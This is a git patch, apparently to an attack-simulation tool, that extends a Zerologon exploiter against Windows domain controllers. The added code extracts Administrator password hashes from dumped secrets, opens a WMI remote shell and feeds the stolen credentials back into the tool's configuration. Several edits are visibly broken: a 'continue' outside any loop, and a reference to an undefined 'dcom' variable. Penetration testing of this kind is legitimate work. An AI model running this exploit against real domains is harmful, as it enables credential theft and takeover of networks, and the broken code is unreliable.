From c05a48d34d3e114a7ed4bb8cb80dfca2c953e647 Mon Sep 17 00:00:00 2001 From: Shreya Date: Sun, 31 Jan 2021 14:47:27 +0530 Subject: [PATCH] Final exploit touches and report stuff --- monkey/infection_monkey/exploit/zerologon.py | 82 +++++++++++++------ .../cc/services/reporting/report.py | 51 ++++++++---- .../services/telemetry/processing/exploit.py | 17 ++++ 3 files changed, 106 insertions(+), 44 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index dfab6b957..e435c4a58 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -34,6 +34,7 @@ from impacket.krb5.keytab import Keytab from impacket.smbconnection import (SMB2_DIALECT_002, SMB2_DIALECT_21, SMB_DIALECT, SMBConnection) +from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.network.zerologon_fingerprint import ZerologonFinger @@ -45,8 +46,8 @@ _new_stdout = None def _set_stdout_to_in_memory_text_stream(): - global _orig_stdout, _new_stdout # set stdout to in-memory text stream, to capture info that would otherwise be printed + global _orig_stdout, _new_stdout _orig_stdout = sys.stdout _new_stdout = io.StringIO() sys.stdout = _new_stdout @@ -63,6 +64,7 @@ def _unset_stdout_and_return_captured(): class ZerologonExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] _EXPLOITED_SERVICE = 'Netlogon' + EXPLOIT_TYPE = ExploitType.VULNERABILITY MAX_ATTEMPTS = 2000 OPTIONS_FOR_SECRETSDUMP =\ { @@ -100,6 +102,7 @@ class ZerologonExploiter(HostExploiter): super().__init__(host) self.vulnerable_port = None self.zerologon_finger = ZerologonFinger() + self.exploit_info['credentials'] = {} def _exploit_host(self): DC_IP, DC_NAME, DC_HANDLE = self.zerologon_finger.get_dc_details(self.host) @@ -128,15 +131,18 @@ class ZerologonExploiter(HostExploiter): if result is not None: break + self.report_login_attempt(result=False, + user=DC_NAME) + if result['ErrorCode'] == 0: + self.report_login_attempt(result=True, + user=DC_NAME) LOG.info("Exploit complete!") else: LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.") _exploited = True - ## how do i execute monkey on the exploited machine? - else: LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") _exploited = False @@ -216,11 +222,23 @@ class ZerologonExploiter(HostExploiter): dumped_secrets = self.get_dumped_secrets(options=options, remote_name=DC_IP, username=f"{DC_NAME}$") + user = 'Administrator' for secret in dumped_secrets: - if 'Administrator' in secret: + if user in secret: hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::" + self.add_extracted_creds_to_exploit_info(user, hashes[0], hashes[1]) return ':'.join(hashes) # format - "lmhash:nthash" + def add_extracted_creds_to_exploit_info(self, user, lmhash, nthash): + self.exploit_info['credentials'].update({ + user: { + 'username': user, + 'password': '', + 'lm_hash': lmhash, + 'ntlm_hash': nthash + } + }) + def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes): if not self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes): return @@ -251,7 +269,7 @@ class ZerologonExploiter(HostExploiter): hashes=admin_pwd_hashes, domain=DC_IP) - remote_shell = wmiexec.run() + remote_shell = wmiexec.get_remote_shell() if remote_shell: _set_stdout_to_in_memory_text_stream() @@ -270,6 +288,9 @@ class ZerologonExploiter(HostExploiter): info = _unset_stdout_and_return_captured() LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") + + wmiexec.close() + return True else: @@ -566,37 +587,44 @@ class Wmiexec: self.__share = share self.shell = None - def run(self): - smbConnection = SMBConnection(self.__ip, self.__ip) - smbConnection.login(user=self.__username, - password=self.__password, - domain=self.__domain, - lmhash=self.__lmhash, - nthash=self.__nthash) + def connect(self): + self.smbConnection = SMBConnection(self.__ip, self.__ip) + self.smbConnection.login(user=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash) - dcom = DCOMConnection(target=self.__ip, - username=self.__username, - password=self.__password, - domain=self.__domain, - lmhash=self.__lmhash, - nthash=self.__nthash, - oxidResolver=True) + self.dcom = DCOMConnection(target=self.__ip, + username=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash, + oxidResolver=True) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) - iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) + self.iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() - win32Process, _ = iWbemServices.GetObject('Win32_Process') - - self.shell = RemoteShell(self.__share, win32Process, smbConnection, self.OUTPUT_FILENAME) - return self.shell - except (Exception, KeyboardInterrupt) as e: LOG.error(str(e)) - smbConnection.logoff() - dcom.disconnect() + self.smbConnection.logoff() + self.dcom.disconnect() + + def get_remote_shell(self): + self.connect() + win32Process, _ = self.iWbemServices.GetObject('Win32_Process') + self.shell = RemoteShell(self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME) + return self.shell + + def close(self): + self.smbConnection.close() + self.smbConnection = None + self.dcom.disconnect() + self.dcom = None # Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 8b85f638d..7c45f1823 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -180,32 +180,49 @@ class ReportService: @staticmethod def get_stolen_creds(): - PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} creds = [] + + # stolen creds from system info collectors for telem in mongo.db.telemetry.find( {'telem_category': 'system_info', 'data.credentials': {'$exists': True}}, {'data.credentials': 1, 'monkey_guid': 1} ): monkey_creds = telem['data']['credentials'] - if len(monkey_creds) == 0: - continue - origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] - for user in monkey_creds: - for pass_type in PASS_TYPE_DICT: - if pass_type not in monkey_creds[user] or not monkey_creds[user][pass_type]: - continue - username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user - cred_row = \ - { - 'username': username, - 'type': PASS_TYPE_DICT[pass_type], - 'origin': origin - } - if cred_row not in creds: - creds.append(cred_row) + creds.append(ReportService._format_creds_for_reporting(telem, monkey_creds)) + + # stolen creds from exploiters + for telem in mongo.db.telemetry.find( + {'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}}, + {'data.info.credentials': 1, 'monkey_guid': 1} + ): + monkey_creds = telem['data']['info']['credentials'] + creds.append(ReportService._format_creds_for_reporting(telem, monkey_creds)) + logger.info('Stolen creds generated for reporting') return creds + @staticmethod + def _format_creds_for_reporting(telem, monkey_creds): + creds = [] + PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} + if len(monkey_creds) == 0: + continue + origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] + for user in monkey_creds: + for pass_type in PASS_TYPE_DICT: + if pass_type not in monkey_creds[user] or not monkey_creds[user][pass_type]: + continue + username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user + cred_row = \ + { + 'username': username, + 'type': PASS_TYPE_DICT[pass_type], + 'origin': origin + } + if cred_row not in creds: + creds.append(cred_row) + return creds + @staticmethod def get_ssh_keys(): """ diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index e67b4182a..2b7fc718a 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -4,6 +4,7 @@ import dateutil from monkey_island.cc.encryptor import encryptor from monkey_island.cc.models import Monkey +from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge.displayed_edge import EdgeService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.utils import \ @@ -17,6 +18,7 @@ def process_exploit_telemetry(telemetry_json): edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json) update_network_with_exploit(edge, telemetry_json) update_node_credentials_from_successful_attempts(edge, telemetry_json) + add_exploit_extracted_creds_to_config(telemetry_json) test_machine_exploited( current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']), @@ -26,6 +28,21 @@ def process_exploit_telemetry(telemetry_json): timestamp=telemetry_json['timestamp']) +def add_exploit_extracted_creds_to_config(telemetry_json): + if 'credentials' in telemetry_json['data']['info']: + creds = telemetry_json['data']['info']['credentials'] + add_system_info_creds_to_config(creds) + + for user in creds: + ConfigService.creds_add_username(creds[user]['username']) + if 'password' in creds[user] and creds[user]['password']: + ConfigService.creds_add_password(creds[user]['password']) + if 'lm_hash' in creds[user] and creds[user]['lm_hash']: + ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) + if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']: + ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) + + def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json): for attempt in telemetry_json['data']['attempts']: if attempt['result']: